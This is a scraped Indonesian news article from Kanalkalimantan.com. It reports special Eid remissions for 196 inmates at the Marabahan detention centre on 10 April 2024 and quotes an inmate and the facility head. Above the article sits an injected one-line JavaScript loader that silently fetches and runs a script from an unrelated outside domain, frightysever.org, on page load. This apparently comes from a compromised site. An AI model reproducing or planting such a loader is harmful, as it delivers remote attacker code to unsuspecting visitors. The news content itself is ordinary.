(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Setelah melaksanakan Salat Ied, kebahagiaan turut menghampiri 196 orang Warga Binaan Pemasyarakatan (WBP) alias Narapidana (Napi) Rutan Kelas IIB Marabahan.
Pada Rabu (10/4/2024) siang, mereka diberikan Remisi Khusus (RK) sebagai bagian dari penghargaan atas perilaku dan kontribusi positif yang mereka tunjukkan selama masa hukuman.
Senyum sumringah terpampang jelas di wajah S, seorang WBP berusia 55 tahun asal Kecamatan Tamban, Kabupaten Barito Kuala. S menerima RK dengan durasi paling lama yakni satu bulan lima belas hari.
Bagi S, ini bukan kali pertama dia mendapatkan remisi, namun kali ini adalah yang paling istimewa karena jumlah pengurangam melebihi yang sebelumnya.
Baca juga: Pancar Mas II ‘Bus Air’ Terakhir di Sungai Barito, Dua Hari Dua Malam Tempuh Banjarmasin-Muara Teweh
“Saya sudah menghabiskan waktu di sini selama 4 tahun lima bulan, hari ini mendapatkan remisi yang paling besar. Tentu saja, harapan saya adalah segera mendapatkan kebebasan, doakan saja,” ungkapnya.
Herry Muhammad Ramdan, Kepala Rutan Marabahan, saat menyerahkan remisi secara simbolis mengungkapkan, dari total 196 Napi yang menerima remisi, rinciannya 27 orang mendapat RK 15 hari, 167 orang mendapat RK satu bulan, dan dua orang menerima RK selama satu bulan lima belas hari.
“Pemberian remisi bukan hanya sebagai bentuk penghargaan atas perilaku dan kontribusi positif para WBP, tetapi juga sebagai dorongan bagi mereka untuk terus memperbaiki diri selama masa tahanan,” katanya.
Ramdan menegaskan saat ini Rutan Kelas IIB Marabahan dihuni oleh sekitar 270 WBP dan lebih dari setengahnya mendapatkan remisi, hal ini menunjukkan upaya mereka dalam mematuhi aturan serta menjalani masa tahanan dengan baik.
Baca juga: Menengok Kampung Ketupat di Banjarmasin, Anyaman Dibuat dari Pucuk Daun Nipah
Sisanya, Napi yang tidak mendapatkan remisi adalah mereka yang belum memenuhi syarat seperti belum menjalani enam bulan masa pidana dan mendapat hukuman disiplin.
Ramdan menutup dengan harapan pemberian remisi akan menjadi langkah awal bagi para WBP untuk memperbaiki kehidupan mereka, serta semangat untuk kembali menjadi anggota masyarakat yang bertanggung jawab dan produktif setelah menyelesaikan masa hukuman.(Kanalkalimantan.com/rdy)
Reporter: rdy
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.